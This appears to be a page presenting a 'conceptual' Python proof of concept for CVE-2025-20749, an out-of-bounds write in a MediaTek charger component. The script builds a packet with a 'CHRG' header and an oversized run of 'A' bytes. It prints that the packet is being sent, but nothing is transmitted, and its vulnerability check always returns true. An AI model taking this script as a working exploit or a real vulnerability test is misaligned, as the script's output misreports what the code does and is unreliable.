MediaTek充电器组件越界写入漏洞 (CVE-2025-20749)

# CVE-2025-20749 PoC - MediaTek Charger Out of Bounds Write # This is a conceptual PoC demonstrating the vulnerability pattern # Note: Actual exploitation requires specific MediaTek firmware and device access import struct def trigger_charger_oob_write(): """ Trigger the out of bounds write in MediaTek charger component This PoC demonstrates the vulnerability pattern for research purposes """ # Prepare malicious charger data that exceeds buffer boundaries # The vulnerability occurs due to missing bounds check in charger module # Malicious data structure that triggers OOB write charger_packet = bytearray() # Header charger_packet += b'CHRG' charger_packet += struct.pack('<I', 0x100) # Size # Trigger condition - oversized data without bounds check # This would cause write beyond allocated buffer in vulnerable versions payload_size = 0x200 # Exceeds expected buffer size charger_packet += b'A' * payload_size print(f"[+] Prepared malicious charger packet: {len(charger_packet)} bytes") print(f"[+] Payload size: {payload_size} bytes (exceeds buffer boundary)") print(f"[+] Sending to charger module...") # In actual exploitation, this would be sent via: # - Kernel module interface # - Debug interface (if available) # - Specific charging protocol handler return charger_packet def check_vulnerability(): """ Check if device is vulnerable to CVE-2025-20749 """ print("[*] Checking for CVE-2025-20749 vulnerability...") print("[*] Target: MediaTek Charger Component") print("[*] Issue: Missing bounds check leading to OOB write") print("[*] CVSS: 6.7 (Medium)") # In real scenario, would check: # 1. Device is using vulnerable MediaTek firmware # 2. Charger module version is affected # 3. Attacker has System privileges return True if __name__ == "__main__": trigger_charger_oob_write() check_vulnerability()